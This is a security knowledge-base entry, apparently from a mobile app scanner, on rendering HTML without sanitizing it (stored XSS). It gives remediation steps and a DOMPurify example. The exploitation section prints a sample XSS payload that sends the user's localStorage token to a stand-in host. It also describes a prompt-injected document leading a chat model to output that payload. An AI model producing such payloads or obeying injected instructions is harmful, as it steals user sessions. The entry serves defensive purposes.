medium · M4 · MASVS-CODE-4 · PTKD-VC-UNSANITIZED-HTML

    HTML rendered without sanitizing (dangerouslySetInnerHTML / innerHTML)

    Code sets dangerouslySetInnerHTML, innerHTML or srcDoc and the same file never sanitizes (DOMPurify or similar). If the HTML comes from users, an API or an LLM, it runs as script in the app's web view or web build (stored XSS); model output is untrusted input too.

    How it is exploited

    A chat screen renders the assistant's reply with dangerouslySetInnerHTML. A prompt-injected document makes the model answer with <img src=x onerror=fetch('https://evil.example/?t='+localStorage.token)>, which runs in the user's web view and sends their session away.

    Why it matters

    Stored XSS: session theft, actions taken as the user, and phishing inside your own app.

    How to fix it

    1. Render text, not HTML, wherever you can (a Markdown renderer that does not allow raw HTML).
    2. Where HTML is needed, sanitize right before rendering with DOMPurify, with the strictest profile that works.
    3. Treat LLM output, API content and anything users wrote as untrusted input.
    4. Add a Content-Security-Policy to the web build so injected scripts cannot load or call out.

    React

    import DOMPurify from "dompurify";
    
    <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html, { USE_PROFILES: { html: true } }) }} />

    Does your app have this?

    PTKD checks your build or your source project for PTKD-VC-UNSANITIZED-HTML and every other check in this knowledge base.

    Scan your app

    References

    Related checks (M4)